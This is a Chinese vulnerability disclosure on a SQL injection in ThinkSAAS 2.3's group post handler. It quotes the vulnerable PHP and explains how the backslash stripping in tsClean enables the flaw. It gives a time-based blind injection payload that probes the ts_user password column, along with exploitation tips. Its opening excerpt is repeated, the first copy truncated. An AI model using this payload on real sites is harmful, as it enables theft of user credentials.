### 简要描述: ThinkSAAS 2.3 SQL注入 ### 详细说明: app/group/action/add.php 172-197行 ``` // 处理@用户名 if (preg_match_all ( '/@/', $content, $at )) { echo $content; preg_match_all ( "/@(.+?)([\s|:]|$)/is", $content, $matches ); $unames = $matches [1]; $ns = "'" . implode ( "','", $unames ) . "'"; $csql = "username IN($ns)"; if ($unames) { $query = $db->fetch_all_assoc ( "select userid,username from " . dbprefix . "user_info where $csql" ); foreach ( $query as $v ) { $content = str_replace ( '@' . $v ['username'] . '', '[@' . $v ['username'] . ':' . $v ['userid'] . ']', $content ); $msg_content = '我在帖子中提到了你<br />去看看:' . tsUrl ( 'group', 'topic', array ( 'id' => $topicid ) ); aac ( 'message' )->sendmsg ( $userid, $v ['userid'], $msg_content ); } $new ['group']->update ( 'group_topic', array ( 'topicid' => $topicid ), array ( 'content' => $content ) ); } } ``` 正则匹配出$content中的用户名,然后执行sql语句 ``` $query = $db->fetch_all_assoc ( "select userid,username from " . dbprefix . "user_info where $csql" ); ```...
### 简要描述: ThinkSAAS 2.3 SQL注入 ### 详细说明: app/group/action/add.php 172-197行 ``` // 处理@用户名 if (preg_match_all ( '/@/', $content, $at )) { echo $content; preg_match_all ( "/@(.+?)([\s|:]|$)/is", $content, $matches ); $unames = $matches [1]; $ns = "'" . implode ( "','", $unames ) . "'"; $csql = "username IN($ns)"; if ($unames) { $query = $db->fetch_all_assoc ( "select userid,username from " . dbprefix . "user_info where $csql" ); foreach ( $query as $v ) { $content = str_replace ( '@' . $v ['username'] . '', '[@' . $v ['username'] . ':' . $v ['userid'] . ']', $content ); $msg_content = '我在帖子中提到了你<br />去看看:' . tsUrl ( 'group', 'topic', array ( 'id' => $topicid ) ); aac ( 'message' )->sendmsg ( $userid, $v ['userid'], $msg_content ); } $new ['group']->update ( 'group_topic', array ( 'topicid' => $topicid ), array ( 'content' => $content ) ); } } ``` 正则匹配出$content中的用户名,然后执行sql语句 ``` $query = $db->fetch_all_assoc ( "select userid,username from " . dbprefix . "user_info where $csql" ); ``` 看看$content怎么来的 ``` $content = tsClean( $_POST ['content'] ); ``` 跟入tsclean函数 ``` function tsClean($text) { $text = stripslashes(trim($text)); //去除前后空格,并去除反斜杠 //$text = br2nl($text); //将br转换成/n ///////XSS start require_once 'thinksaas/xsshtml.class.php'; $xss = new XssHtml($text); $text = $xss -> getHtml(); //$text = substr ($text, 4);//去除左边<p>标签 //$text = substr ($text, 0,-5);//去除右边</p>标签 ///////XSS end //$text = html_entity_decode($text,ENT_NOQUOTES,"utf-8");//把 HTML 实体转换为字符 //$text = strip_tags($text); //去掉HTML及PHP标记 //$text = cleanJs ( $text ); $text = htmlentities($text, ENT_NOQUOTES, "utf-8"); //把字符转换为 HTML 实体 return $text; } ``` 可以看到去掉了反斜杠,也就是把全局的反斜杠去掉了,于是这里造成一个注入。 ### 漏洞证明: 然后是演示,为了方便演示,我把sql语句打印出来。 因为涉及到token的问题,先访问 http://127.0.0.1/index.php?app=article&ac=add 提交文章的时候抓包,获取到token 因为没有找到回显的地方,这里采取时间盲注。 [<img src="https://images.seebug.org/upload/201501/15132429e33a3a78acee23af2db8409c8ac05a93.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201501/15132429e33a3a78acee23af2db8409c8ac05a93.png) 因为空格是正则匹配的分隔符,所以不能用空格这里采用/**/代替空格。 成功延时。 [<img src="https://images.seebug.org/upload/201501/151335574f67b32f67a6eeae0c4dc183f8ccba5f.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201501/151335574f67b32f67a6eeae0c4dc183f8ccba5f.png) content为 ``` 123@12')/**/or/**/if(((select/**/length((select/**/pwd/**/from/**/ts_user/**/limit/**/1)))=32),sleep(2),0)#3: ``` 可以查数据 几个比较坑的地方提一下, 因为每次都是先插入文章名,然后再执行注入,所以说要每次输入不同的title(当然,写脚本随机数一下就好了)。 还有就是因为被html实体化过了,不能输入大于小于号,所以只能用“=”慢慢匹配。 当然这并不影响注入。 剩下的就交给你们啦~